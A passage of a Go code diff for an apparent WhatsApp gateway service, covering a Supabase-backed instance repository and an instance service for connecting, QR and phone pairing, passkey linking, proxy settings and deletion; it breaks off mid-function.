+		AlwaysOnline:     r.AlwaysOnline,
+		RejectCall:       r.RejectCall,
+		MsgRejectCall:    r.MsgRejectCall,
+		ReadMessages:     r.ReadMessages,
+		IgnoreGroups:     r.IgnoreGroups,
+		IgnoreStatus:     r.IgnoreStatus,
+	}
+	if r.CreatedAt != nil {
+		if t, err := time.Parse(time.RFC3339, *r.CreatedAt); err == nil {
+			instance.CreatedAt = t
+		}
+	}
+	return instance
+}
+
+func (i *instanceRepository) Create(instance instance_model.Instance) (*instance_model.Instance, error) {
+	if instance.Id == "" {
+		instance.Id = uuid.New().String()
+	}
+	row := toRow(instance)
+	ctx := context.Background()
+	var created []instanceRow
+	if err := i.supa.Table("wp_instances").Insert(ctx, row, "return=representation", &created); err != nil {
+		return nil, err
+	}
+	if len(created) == 0 {
+		return nil, fmt.Errorf("no instance row returned")
+	}
+	return fromRow(&created[0]), nil
+}
+
+func (i *instanceRepository) GetInstanceByToken(token string) (*instance_model.Instance, error) {
+	q := supabase.NewQuery().Eq("token", token).Limit(1)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	if len(rows) == 0 {
+		return nil, fmt.Errorf("instances: no row for token")
+	}
+	return fromRow(&rows[0]), nil
+}
+
+func (i *instanceRepository) GetInstanceByName(name string) (*instance_model.Instance, error) {
+	q := supabase.NewQuery().Eq("name", name).Limit(1)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	if len(rows) == 0 {
+		return nil, fmt.Errorf("instances not found for name")
+	}
+	return fromRow(&rows[0]), nil
+}
+
+func (i *instanceRepository) GetInstanceByID(instanceId string) (*instance_model.Instance, error) {
+	if _, err := uuid.Parse(instanceId); err != nil {
+		return nil, fmt.Errorf("invalid UUID format: %v", err)
+	}
+	q := supabase.NewQuery().Eq("id", instanceId).Limit(1)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	if len(rows) == 0 {
+		return nil, fmt.Errorf("instance not found")
+	}
+	return fromRow(&rows[0]), nil
+}
+
+func (i *instanceRepository) GetConnectedInstanceByID(instanceId string) (*instance_model.Instance, error) {
+	q := supabase.NewQuery().Eq("id", instanceId).Eq("connected", "true").Limit(1)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	if len(rows) == 0 {
+		return nil, fmt.Errorf("connected instance not found")
+	}
+	return fromRow(&rows[0]), nil
+}
+
+func (i *instanceRepository) Update(instance *instance_model.Instance) error {
+	row := toRow(*instance)
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", instance.Id)
+	return i.supa.Table("wp_instances").Update(ctx, q, row)
+}
+
+func (i *instanceRepository) UpdateConnected(userId string, connected bool, disconnectReason string) error {
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", userId)
+	body := map[string]interface{}{
+		"connected":        connected,
+		"disconnect_reason": disconnectReason,
+	}
+	return i.supa.Table("wp_instances").Update(ctx, q, body)
+}
+
+func (i *instanceRepository) UpdateQrcode(userId string, qr string) error {
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", userId)
+	return i.supa.Table("wp_instances").Update(ctx, q, map[string]interface{}{"qrcode": qr})
+}
+
+func (i *instanceRepository) UpdateProxy(userId string, proxy string) error {
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", userId)
+	return i.supa.Table("wp_instances").Update(ctx, q, map[string]interface{}{"proxy": proxy})
+}
+
+func (i *instanceRepository) UpdateJid(userId string, jid string) error {
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", userId)
+	return i.supa.Table("wp_instances").Update(ctx, q, map[string]interface{}{"jid": jid})
+}
+
+func (i *instanceRepository) GetAllConnectedInstances() ([]*instance_model.Instance, error) {
+	q := supabase.NewQuery().Eq("connected", "true")
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	out := make([]*instance_model.Instance, 0, len(rows))
+	for idx := range rows {
+		out = append(out, fromRow(&rows[idx]))
+	}
+	return out, nil
+}
+
+func (i *instanceRepository) GetAllConnectedInstancesByClientName(clientName string) ([]*instance_model.Instance, error) {
+	q := supabase.NewQuery().Eq("connected", "true").Eq("client_name", clientName)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	out := make([]*instance_model.Instance, 0, len(rows))
+	for idx := range rows {
+		out = append(out, fromRow(&rows[idx]))
+	}
+	return out, nil
+}
+
+func (i *instanceRepository) GetAll(clientName string) ([]*instance_model.Instance, error) {
+	q := supabase.NewQuery().Eq("client_name", clientName)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	out := make([]*instance_model.Instance, 0, len(rows))
+	for idx := range rows {
+		out = append(out, fromRow(&rows[idx]))
+	}
+	return out, nil
+}
+
+func (i *instanceRepository) Delete(instanceId string) error {
+	ctx := context.Background()
+	// Cascade delete via a Supabase RPC, which deletes related rows and the
+	// instance atomically (see ddl/006_functions.sql).
+	var result interface{}
+	if err := i.supa.RPC(ctx, "wp_delete_instance", map[string]interface{}{"p_instance_id": instanceId}, &result); err != nil {
+		// Fallback: delete rows individually if the RPC is unavailable.
+		q := supabase.NewQuery().Eq("id", instanceId)
+		if derr := i.supa.Table("wp_instances").Delete(ctx, q); derr != nil {
+			return fmt.Errorf("failed to delete instance: %v", derr)
+		}
+	}
+	return nil
+}
+
+func (i *instanceRepository) GetAdvancedSettings(instanceId string) (*instance_model.AdvancedSettings, error) {
+	if _, err := uuid.Parse(instanceId); err != nil {
+		return nil, fmt.Errorf("invalid UUID format: %v", err)
+	}
+	q := supabase.NewQuery().
+		Eq("id", instanceId).
+		Select("always_online, reject_call, msg_reject_call, read_messages, ignore_groups, ignore_status").
+		Limit(1)
+	var rows []instanceRow
+	ctx := context.Background()
+	if err := i.supa.Table("wp_instances").Select(ctx, q, &rows); err != nil {
+		return nil, err
+	}
+	if len(rows) == 0 {
+		return nil, fmt.Errorf("instance not found")
+	}
+	return &instance_model.AdvancedSettings{
+		AlwaysOnline:  rows[0].AlwaysOnline,
+		RejectCall:    rows[0].RejectCall,
+		MsgRejectCall: rows[0].MsgRejectCall,
+		ReadMessages:  rows[0].ReadMessages,
+		IgnoreGroups:  rows[0].IgnoreGroups,
+		IgnoreStatus:  rows[0].IgnoreStatus,
+	}, nil
+}
+
+func (i *instanceRepository) UpdateAdvancedSettings(instanceId string, settings *instance_model.AdvancedSettings) error {
+	if _, err := uuid.Parse(instanceId); err != nil {
+		return fmt.Errorf("invalid UUID format: %v", err)
+	}
+	ctx := context.Background()
+	q := supabase.NewQuery().Eq("id", instanceId)
+	body := map[string]interface{}{
+		"always_online":   settings.AlwaysOnline,
+		"reject_call":     settings.RejectCall,
+		"msg_reject_call": settings.MsgRejectCall,
+		"read_messages":   settings.ReadMessages,
+		"ignore_groups":   settings.IgnoreGroups,
+		"ignore_status":   settings.IgnoreStatus,
+	}
+	return i.supa.Table("wp_instances").Update(ctx, q, body)
+}
+
+func NewInstanceRepository(supa *supabase.Client) InstanceRepository {
+	return &instanceRepository{supa: supa}
+}

whatsapp-service/pkg/instance/service/instance_service.go

@@ -0,0 +1,929 @@
+package instance_service
+
+import (
+	"bufio"
+	"context"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+	"slices"
+	"sort"
+	"strings"
+	"time"
+
+	"agentdeck-whatsapp-service/pkg/config"
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	instance_repository "agentdeck-whatsapp-service/pkg/instance/repository"
+	event_types "agentdeck-whatsapp-service/pkg/internal/event_types"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"agentdeck-whatsapp-service/pkg/utils"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	"go.mau.fi/whatsmeow"
+	"go.mau.fi/whatsmeow/types"
+)
+
+type InstanceService interface {
+	Create(data *CreateStruct) (*instance_model.Instance, error)
+	Connect(data *ConnectStruct, instance *instance_model.Instance) (*instance_model.Instance, string, string, error)
+	Reconnect(instance *instance_model.Instance) error
+	Disconnect(instance *instance_model.Instance) (*instance_model.Instance, error)
+	Logout(instance *instance_model.Instance) (*instance_model.Instance, error)
+	Status(instance *instance_model.Instance) (*StatusStruct, error)
+	GetQr(instance *instance_model.Instance) (*QrcodeStruct, error)
+	Pair(data *PairStruct, instance *instance_model.Instance) (*PairReturnStruct, error)
+	GetAll() ([]*instance_model.Instance, error)
+	Info(instanceId string) (*instance_model.Instance, error)
+	Delete(id string) error
+	SetProxy(id string, proxyConfig *ProxyConfig) error
+	SetProxyFromStruct(id string, data *SetProxyStruct) error
+	RemoveProxy(id string) error
+	ForceReconnect(instanceId string, number string) error
+	GetInstanceByToken(token string) (*instance_model.Instance, error)
+	GetLogs(instanceId string, startDate, endDate time.Time, level string, limit int) ([]logger_wrapper.LogEntry, error)
+	GetAdvancedSettings(instanceId string) (*instance_model.AdvancedSettings, error)
+	UpdateAdvancedSettings(instanceId string, settings *instance_model.AdvancedSettings) error
+}
+
+type instances struct {
+	instanceRepository instance_repository.InstanceRepository
+	config             *config.Config
+	killChannel        map[string](chan bool)
+	clientPointer      map[string]*whatsmeow.Client
+	whatsmeowService   whatsmeow_service.WhatsmeowService
+	loggerWrapper      *logger_wrapper.LoggerManager
+}
+
+type ProxyConfig struct {
+	Protocol string `json:"protocol,omitempty"`
+	Port     string `json:"port"`
+	Password string `json:"password"`
+	Username string `json:"username"`
+	Host     string `json:"host"`
+}
+
+type CreateStruct struct {
+	InstanceId       string                           `json:"instanceId"`
+	Name             string                           `json:"name"`
+	Token            string                           `json:"token"`
+	Proxy            *ProxyConfig                     `json:"proxy"`
+	AdvancedSettings *instance_model.AdvancedSettings `json:"advancedSettings"`
+}
+
+type ConnectStruct struct {
+	WebhookUrl      string   `json:"webhookUrl"`
+	Subscribe       []string `json:"subscribe"`
+	Immediate       bool     `json:"immediate"`
+	Phone           string   `json:"phone"`
+	RabbitmqEnable  string   `json:"rabbitmqEnable"`
+	WebSocketEnable string   `json:"websocketEnable"`
+	NatsEnable      string   `json:"natsEnable"`
+}
+
+type StatusStruct struct {
+	Connected bool
+	LoggedIn  bool
+	myJid     *types.JID
+	Name      string
+}
+
+type QrcodeStruct struct {
+	Qrcode string `json:"qrcode"`
+	Code   string `json:"code"`
+	// Passkey ceremony fields. Populated when the account requires a WebAuthn
+	// passkey to finish linking (no QR to scan at that point). The manager uses
+	// PasskeyStage to switch its UI and PasskeyOpenUrl for the
+	// "Abrir WhatsApp Web" button that launches the passkey ceremony.
+	PasskeyStage   string `json:"passkeyStage,omitempty"`
+	PasskeyOpenURL string `json:"passkeyOpenUrl,omitempty"`
+	PasskeyCode    string `json:"passkeyCode,omitempty"`
+}
+
+type PairStruct struct {
+	Subscribe []string `json:"subscribe"`
+	Phone     string   `json:"phone"`
+}
+
+type PairReturnStruct struct {
+	PairingCode string
+}
+
+type SetProxyStruct struct {
+	Protocol string `json:"protocol,omitempty"`
+	Host     string `json:"host" validate:"required"`
+	Port     string `json:"port" validate:"required"`
+	Username string `json:"username"`
+	Password string `json:"password"`
+}
+
+type ForceReconnectStruct struct {
+	Number string `json:"number"`
+}
+
+func (i *instances) ensureClientConnected(instanceId string) (*whatsmeow.Client, error) {
+	logger := i.loggerWrapper.GetLogger(instanceId)
+	client := i.clientPointer[instanceId]
+	logger.LogInfo("[%s] Checking client connection status - Client exists: %v", instanceId, client != nil)
+
+	if client == nil {
+		logger.LogInfo("[%s] No client found, attempting to start new instance", instanceId)
+		err := i.whatsmeowService.StartInstance(instanceId)
+		if err != nil {
+			logger.LogError("[%s] Failed to start instance: %v", instanceId, err)
+			return nil, errors.New("no active session found")
+		}
+
+		logger.LogInfo("[%s] Instance started, waiting 2 seconds...", instanceId)
+		time.Sleep(2 * time.Second)
+
+		client = i.clientPointer[instanceId]
+		logger.LogInfo("[%s] Checking new client - Exists: %v, Connected: %v",
+			instanceId,
+			client != nil,
+			client != nil && client.IsConnected())
+
+		if client == nil || !client.IsConnected() {
+			logger.LogError("[%s] New client validation failed - Exists: %v, Connected: %v",
+				instanceId,
+				client != nil,
+				client != nil && client.IsConnected())
+			return nil, errors.New("no active session found")
+		}
+	} else if !client.IsConnected() {
+		logger.LogError("[%s] Existing client is disconnected - Connected status: %v",
+			instanceId,
+			client.IsConnected())
+		return nil, errors.New("client disconnected")
+	}
+
+	logger.LogInfo("[%s] Client successfully validated - Connected: %v", instanceId, client.IsConnected())
+	return client, nil
+}
+
+func (i instances) Create(data *CreateStruct) (*instance_model.Instance, error) {
+	if data.Proxy != nil {
+		data.Proxy.Protocol = utils.NormalizeProxyProtocol(data.Proxy.Protocol, data.Proxy.Port)
+	}
+
+	proxyJson, err := json.Marshal(data.Proxy)
+	if err != nil {
+		return nil, err
+	}
+
+	findInstance, _ := i.instanceRepository.GetInstanceByName(data.Name)
+
+	if findInstance != nil {
+		return nil, fmt.Errorf("instance already exists")
+	}
+
+	instance := instance_model.Instance{
+		Id:         data.InstanceId,
+		Name:       data.Name,
+		Token:      data.Token,
+		OsName:     i.config.OsName,
+		Proxy:      string(proxyJson),
+		Connected:  false,
+		ClientName: i.config.ClientName,
+	}
+
+	// Set advanced settings if provided
+	if data.AdvancedSettings != nil {
+		instance.AlwaysOnline = data.AdvancedSettings.AlwaysOnline
+		instance.RejectCall = data.AdvancedSettings.RejectCall
+		instance.MsgRejectCall = data.AdvancedSettings.MsgRejectCall
+		instance.ReadMessages = data.AdvancedSettings.ReadMessages
+		instance.IgnoreGroups = data.AdvancedSettings.IgnoreGroups
+		instance.IgnoreStatus = data.AdvancedSettings.IgnoreStatus
+	}
+
+	createdInstance, err := i.instanceRepository.Create(instance)
+	if err != nil {
+		return nil, err
+	}
+
+	return createdInstance, nil
+}
+
+func (i instances) Connect(data *ConnectStruct, instance *instance_model.Instance) (*instance_model.Instance, string, string, error) {
+	var subscribedEvents []string
+
+	i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Processing subscribe events: %v", instance.Id, data.Subscribe)
+
+	if len(data.Subscribe) == 0 {
+		subscribedEvents = append(subscribedEvents, event_types.MESSAGE)
+	} else if len(data.Subscribe) > 0 && data.Subscribe[0] == "ALL" {
+		for _, event := range event_types.AllEventTypes {
+			subscribedEvents = append(subscribedEvents, event)
+		}
+	} else {
+		for _, arg := range data.Subscribe {
+			if !event_types.IsEventType(arg) {
+				i.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] Message type discarded '%s'", instance.Id, arg)
+				continue
+			}
+			subscribedEvents = append(subscribedEvents, arg)
+		}
+	}
+
+	eventString := strings.Join(subscribedEvents, ",")
+
+	instance.Events = eventString
+	instance.Webhook = data.WebhookUrl
+	instance.RabbitmqEnable = data.RabbitmqEnable
+	instance.NatsEnable = data.NatsEnable
+	instance.WebSocketEnable = data.WebSocketEnable
+
+	err := i.instanceRepository.Update(instance)
+	if err != nil {
+		i.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error updating instance: %s", instance.Id, err)
+		return nil, "", "", err
+	}
+
+	// Verifica se a instância já está rodando
+	isInstanceRunning := i.clientPointer[instance.Id] != nil
+
+	// Sincroniza as configurações na instância em execução (se já estiver conectada)
+	err = i.whatsmeowService.UpdateInstanceSettings(instance.Id)
+	if err != nil {
+		i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Instance not in runtime yet, will be updated when connected", instance.Id)
+		isInstanceRunning = false
+	} else {
+		i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Instance settings updated successfully in runtime", instance.Id)
+		isInstanceRunning = true
+	}
+
+	// Se a instância não estiver rodando, inicia uma nova
+	if !isInstanceRunning {
+		i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Starting new client instance", instance.Id)
+
+		i.killChannel[instance.Id] = make(chan bool)
+
+		clientData := &whatsmeow_service.ClientData{
+			Instance:      instance,
+			Subscriptions: subscribedEvents,
+			Phone:         data.Phone,
+			IsProxy:       false,
+		}
+
+		if instance.Proxy != "" || i.config.ProxyHost != "" {
+			var proxyConfig ProxyConfig
+			err := json.Unmarshal([]byte(instance.Proxy), &proxyConfig)
+			if err != nil {
+				i.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error unmarshalling proxy config: %v", instance.Id, err)
+				return nil, "", "", err
+			}
+
+			if proxyConfig.Host != "" || i.config.ProxyHost != "" {
+				clientData.IsProxy = true
+			}
+		}
+
+		go i.whatsmeowService.StartClient(clientData)
+	} else {
+		i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Instance already running, settings updated without restarting client", instance.Id)
+	}
+
+	// logger.LogInfo("Waiting 1 seconds")
+	// time.Sleep(1000 * time.Millisecond)
+
+	// if i.clientPointer[instance.Id] != nil {
+	// 	if !i.clientPointer[instance.Id].IsConnected() {
+	// 		return instance, "", "", fmt.Errorf("failed to connect")
+	// 	}
+	// } else {
+	// 	return instance, "", "", fmt.Errorf("failed to connect")
+	// }
+
+	return instance, instance.Jid, eventString, nil
+}
+
+func (i instances) Reconnect(instance *instance_model.Instance) error {
+	_, err := i.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	return i.whatsmeowService.ReconnectClient(instance.Id)
+}
+
+func (i instances) Disconnect(instance *instance_model.Instance) (*instance_model.Instance, error) {
+	client, err := i.ensureClientConnected(instance.Id)
+	if err != nil {
+		return instance, err
+	}
+
+	if client.IsConnected() {
+		if client.IsLoggedIn() {
+			i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Disconnection successful", instance.Id)
+			i.killChannel[instance.Id] <- true
+
+			instance.Events = ""
+
+			err := i.instanceRepository.Update(instance)
+			if err != nil {
+				return instance, err
+			}
+
+			return instance, nil
+		}
+	}
+
+	i.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] Ignoring disconnect as it was not connected", instance.Id)
+	return instance, nil
+}
+
+func (i instances) Logout(instance *instance_model.Instance) (*instance_model.Instance, error) {
+	client, err := i.ensureClientConnected(instance.Id)
+	if err != nil {
+		return instance, err
+	}
+
+	if client.IsLoggedIn() && client.IsConnected() {
+		err := client.Logout(context.Background())
+		if err != nil {
+			return instance, err
+		}
+
+		instance.Connected = false
+		err = i.instanceRepository.Update(instance)
+		if err != nil {
+			return instance, err
+		}
+
+		select {
+		case i.killChannel[instance.Id] <- true:
+		case <-time.After(5 * time.Second):
+		}
+
+		delete(i.clientPointer, instance.Id)
+		delete(i.killChannel, instance.Id)
+
+		i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Logout successful", instance.Id)
+		return instance, nil
+	}
+
+	if client.IsConnected() {
+		client.Disconnect()
+
+		select {
+		case i.killChannel[instance.Id] <- true:
+		case <-time.After(5 * time.Second):
+		}
+
+		delete(i.clientPointer, instance.Id)
+		delete(i.killChannel, instance.Id)
+
+		i.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Disconnection successful", instance.Id)
+		return instance, nil
+	}
+
+	i.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] Ignoring logout as it was not connected", instance.Id)
+	return instance, fmt.Errorf("ignoring logout as it was not connected")
+}
+
+func (i instances) Status(instance *instance_model.Instance) (*StatusStruct, error) {
+	client := i.clientPointer[instance.Id]
+
+	if client == nil {
+		return &StatusStruct{
+			Connected: false,
+			LoggedIn:  false,
+		}, nil
+	}
+
+	isConnected := client.IsConnected()
+	isLoggedIn := client.IsLoggedIn()
+
+	var myJid *types.JID
+	var name string
+	if isLoggedIn {
+		myJid = client.Store.ID
+		name = client.Store.PushName
+	}
+
+	return &StatusStruct{
+		Connected: isConnected,
+		LoggedIn:  isLoggedIn,
+		myJid:     myJid,
+		Name:      name,
+	}, nil
+}
+
+func (i instances) GetQr(instance *instance_model.Instance) (*QrcodeStruct, error) {
+	logger := i.loggerWrapper.GetLogger(instance.Id)
+	client := i.clientPointer[instance.Id]
+
+	// Se não há cliente ou o cliente está logado, precisamos iniciar um novo cliente
+	if client == nil || client.IsLoggedIn() {
+		if client != nil && client.IsLoggedIn() {
+			logger.LogInfo("[%s] Client is logged in, starting new instance for QR code", instance.Id)
+		} else {
+			logger.LogInfo("[%s] No client found, starting new instance for QR code", instance.Id)
+		}
+
+		// Iniciar nova instância para gerar QR code
+		err := i.whatsmeowService.StartInstance(instance.Id)
+		if err != nil {
+			logger.LogError("[%s] Failed to start instance: %v", instance.Id, err)
+			return nil, fmt.Errorf("failed to start instance: %w", err)
+		}
+
+		// Aguardar um pouco para o cliente iniciar e gerar QR code
+		logger.LogInfo("[%s] Waiting for QR code generation...", instance.Id)
+		time.Sleep(3 * time.Second)
+
+		// Verificar novamente se há cliente
+		client = i.clientPointer[instance.Id]
+		if client != nil && client.IsLoggedIn() {
+			return nil, fmt.Errorf("session already logged in")
+		}
+	} else if !client.IsConnected() {
+		// Se o cliente existe mas não está conectado, pode estar aguardando QR code
+		logger.LogInfo("[%s] Client exists but not connected, checking for existing QR code", instance.Id)
+	}
+
+	// Buscar instância atualizada do banco para pegar o QR code mais recente
+	instance, err := i.instanceRepository.GetInstanceByID(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	// If a passkey ceremony is in progress, there is no QR to scan — return the
+	// passkey stage + the #wapk openUrl so the manager can render the
+	// "Abrir WhatsApp Web" button. Checked before the empty-QR branch because
+	// during a passkey ceremony instance.Qrcode is empty.
+	if store := i.whatsmeowService.PasskeyCeremonyStore(); store != nil {
+		if token, state, ok := store.StateByInstance(instance.Id); ok {
+			logger.LogInfo("[%s] Passkey ceremony active (stage=%s) — returning passkey info instead of QR", instance.Id, state.Stage)
+			return &QrcodeStruct{
+				PasskeyStage:   state.Stage,
+				PasskeyCode:    state.Code,
+				PasskeyOpenURL: buildPasskeyOpenURL(token),
+			}, nil
+		}
+	}
+
+	code := instance.Qrcode
+	if code == "" {
+		// Se não há QR code ainda, aguardar um pouco mais e tentar novamente
+		logger.LogInfo("[%s] No QR code available yet, waiting a bit more...", instance.Id)
+		time.Sleep(2 * time.Second)
+
+		instance, err = i.instanceRepository.GetInstanceByID(instance.Id)
+		if err != nil {
+			return nil, err
+		}
+
+		code = instance.Qrcode
+		if code == "" {
+			return nil, fmt.Errorf("no QR code available. Please wait a moment and try again")
+		}
+	}
+
+	parts := strings.Split(code, "|")
+	if len(parts) < 2 {
+		return nil, fmt.Errorf("invalid QR code format")
+	}
+
+	qr := &QrcodeStruct{
+		Qrcode: parts[0],
+		Code:   parts[1],
+	}
+
+	return qr, nil
+}
+
+// buildPasskeyOpenURL builds the URL the manager opens to start the passkey
+// ceremony: https://web.whatsapp.com/#wapk=<base64url({t:token,b:publicBase})>.
+// publicBase must be the PUBLICLY reachable API base the browser can hit; set it
+// via PASSKEY_PUBLIC_URL. Kept in sync with the event handler in whatsmeow.go.
+func buildPasskeyOpenURL(token string) string {
+	publicBase := os.Getenv("PASSKEY_PUBLIC_URL")
+	if publicBase == "" {
+		publicBase = "<SET_PASSKEY_PUBLIC_URL>"
+	}
+	payload := fmt.Sprintf(`{"t":%q,"b":%q}`, token, publicBase)
+	wapk := base64.RawURLEncoding.EncodeToString([]byte(payload))
+	return "https://web.whatsapp.com/#wapk=" + wapk
+}
+
+func (i instances) Pair(data *PairStruct, instance *instance_model.Instance) (*PairReturnStruct, error) {
+	logger := i.loggerWrapper.GetLogger(instance.Id)
+	client := i.clientPointer[instance.Id]
+
+	if client == nil || !client.IsConnected() {
+		if client != nil && client.IsLoggedIn() {
+			return nil, fmt.Errorf("instance is already authenticated")
+		}
+		logger.LogInfo("[%s] No active connection, starting instance for phone pairing", instance.Id)
+		if err := i.whatsmeowService.StartInstance(instance.Id); err != nil {
+			logger.LogError("[%s] Failed to start instance for pairing: %v", instance.Id, err)
+			return nil, fmt.Errorf("failed to start instance: %w", err)
+		}
+		// Wait for the WA websocket connection and initial QR generation to establish.
+		// PairPhone must be called after the QR event is received per whatsmeow docs.
+		time.Sleep(3 * time.Second)
+		client = i.clientPointer[instance.Id]
+		if client == nil {
+			return nil, fmt.Errorf("failed to initialize client for pairing")
+		}
+	}
+
+	if client.IsLoggedIn() {
+		return nil, fmt.Errorf("instance is already authenticated")
+	}
+
+	code, err := client.PairPhone(context.Background(), data.Phone, true, whatsmeow.PairClientChrome, "Chrome (Linux)")
+	if err != nil {
+		logger.LogError("[%s] PairPhone failed: %v", instance.Id, err)
+		return nil, fmt.Errorf("pairing failed: %w", err)
+	}
+
+	return &PairReturnStruct{PairingCode: code}, nil
+}
+
+func (i instances) GetAll() ([]*instance_model.Instance, error) {
+	instances, err := i.instanceRepository.GetAll(i.config.ClientName)
+	if err != nil {
+		return nil, err
+	}
+
+	for _, instance := range instances {
+		if client := i.clientPointer[instance.Id]; client != nil {
+			instance.Connected = client.IsLoggedIn()
+		} else {
+			instance.Connected = false
+		}
+
+		instance.Proxy = ""
+	}
+
+	return instances, nil
+}
+
+func (i instances) Info(instanceId string) (*instance_model.Instance, error) {
+	instance, err := i.instanceRepository.GetInstanceByID(instanceId)
+	if err != nil {
+		return nil, err
+	}
+
+	// Atualiza o status connected com base no estado real do cliente
+	if client := i.clientPointer[instance.Id]; client != nil {
+		instance.Connected = client.IsLoggedIn()
+	} else {
+		instance.Connected = false
+	}
+
+	instance.Proxy = ""
+
+	return instance, nil
+}
+
+func (i instances) Delete(id string) error {
+	instance, err := i.instanceRepository.GetInstanceByID(id)
+	if err != nil {
+		return err
+	}
+
+	if i.clientPointer[instance.Id] != nil && i.clientPointer[instance.Id].IsConnected() {
+		if i.clientPointer[instance.Id].IsLoggedIn() {
+			i.clientPointer[instance.Id].Logout(context.Background())
+		}
+		i.clientPointer[instance.Id].Disconnect()
+	}
+
+	// Limpar todos os recursos da instância antes de deletar
+	delete(i.clientPointer, instance.Id)
+	if i.killChannel[instance.Id] != nil {
+		close(i.killChannel[instance.Id])
+		delete(i.killChannel, instance.Id)
+	}
+
+	// Limpar cache via whatsmeow service
+	err = i.whatsmeowService.ClearInstanceCache(instance.Id, instance.Token)
+	if err != nil {
+		i.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] Failed to clear instance cache: %v", instance.Id, err)
+	}
+
+	err = i.instanceRepository.Delete(id)
+	if err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func (i instances) SetProxy(id string, proxyConfig *ProxyConfig) error {
+	instance, err := i.instanceRepository.GetInstanceByID(id)
+	if err != nil {
+		return err
+	}
+
+	// Validate proxy configuration
+	if proxyConfig == nil {
+		return fmt.Errorf("proxy configuration cannot be nil")
+	}
+
+	if proxyConfig.Host == "" {
+		return fmt.Errorf("proxy host is required")
+	}
+
+	if proxyConfig.Port == "" {
+		return fmt.Errorf("proxy port is required")
+	}
+
+	proxyConfig.Protocol = utils.NormalizeProxyProtocol(proxyConfig.Protocol, proxyConfig.Port)
+
+	// Convert proxy config to JSON
+	proxyJSON, err := json.Marshal(proxyConfig)
+	if err != nil {
+		i.loggerWrapper.GetLogger(id).LogError("[%s] Failed to marshal proxy config: %v", id, err)
+		return fmt.Errorf("failed to marshal proxy configuration: %v", err)
+	}
+
+	instance.Proxy = string(proxyJSON)
+
+	// Update instance in database
+	err = i.instanceRepository.Update(instance)
+	if err != nil {
+		i.loggerWrapper.GetLogger(id).LogError("[%s] Failed to update instance with proxy: %v", id, err)
+		return err
+	}
+
+	i.loggerWrapper.GetLogger(id).LogInfo("[%s] Proxy configuration updated: %s://%s:%s", id, proxyConfig.Protocol, proxyConfig.Host, proxyConfig.Port)
+
+	// Reconnect to apply proxy changes
+	go i.Reconnect(instance)
+
+	return nil
+}
+
+func (i instances) SetProxyFromStruct(id string, data *SetProxyStruct) error {
+	if data == nil {
+		return fmt.Errorf("proxy data cannot be nil")
+	}
+
+	proxyConfig := &ProxyConfig{
+		Protocol: data.Protocol,
+		Host:     data.Host,
+		Port:     data.Port,
+		Username: data.Username,
+		Password: data.Password,
+	}
+
+	return i.SetProxy(id, proxyConfig)
+}
+
+func (i instances) RemoveProxy(id string) error {
+	instance, err := i.instanceRepository.GetInstanceByID(id)
+	if err != nil {
+		return err
+	}
+
+	instance.Proxy = ""
+
+	err = i.instanceRepository.Update(instance)
+	if err != nil {
+		return err
+	}
+
+	i.loggerWrapper.GetLogger(id).LogInfo("[%s] Proxy configuration removed", id)
+
+	go i.Reconnect(instance)
+
+	return nil
+}
+
+func (i instances) ForceReconnect(instanceId string, number string) error {
+	if i.clientPointer[instanceId].IsConnected() && i.clientPointer[instanceId].IsLoggedIn() {
+		return fmt.Errorf("client already connected")
+	}
+
+	err := i.whatsmeowService.ForceUpdateJid(instanceId, number)
+	if err != nil {
+		return err
+	}
+
+	instance, err := i.instanceRepository.GetInstanceByID(instanceId)
+	if err != nil {
+		return err
+	}
+
+	subscribedEvents := strings.Split(instance.Events, ",")
+
+	i.killChannel[instance.Id] = make(chan bool)
+
+	clientData := &whatsmeow_service.ClientData{
+		Instance:      instance,
+		Subscriptions: subscribedEvents,
+		Phone:         "",
+		IsProxy:       false,
+	}
+
+	if instance.Proxy != "" || i.config.ProxyHost != "" {
+		var proxyConfig ProxyConfig
+		err := json.Unmarshal([]byte(instance.Proxy), &proxyConfig)
+		if err != nil {
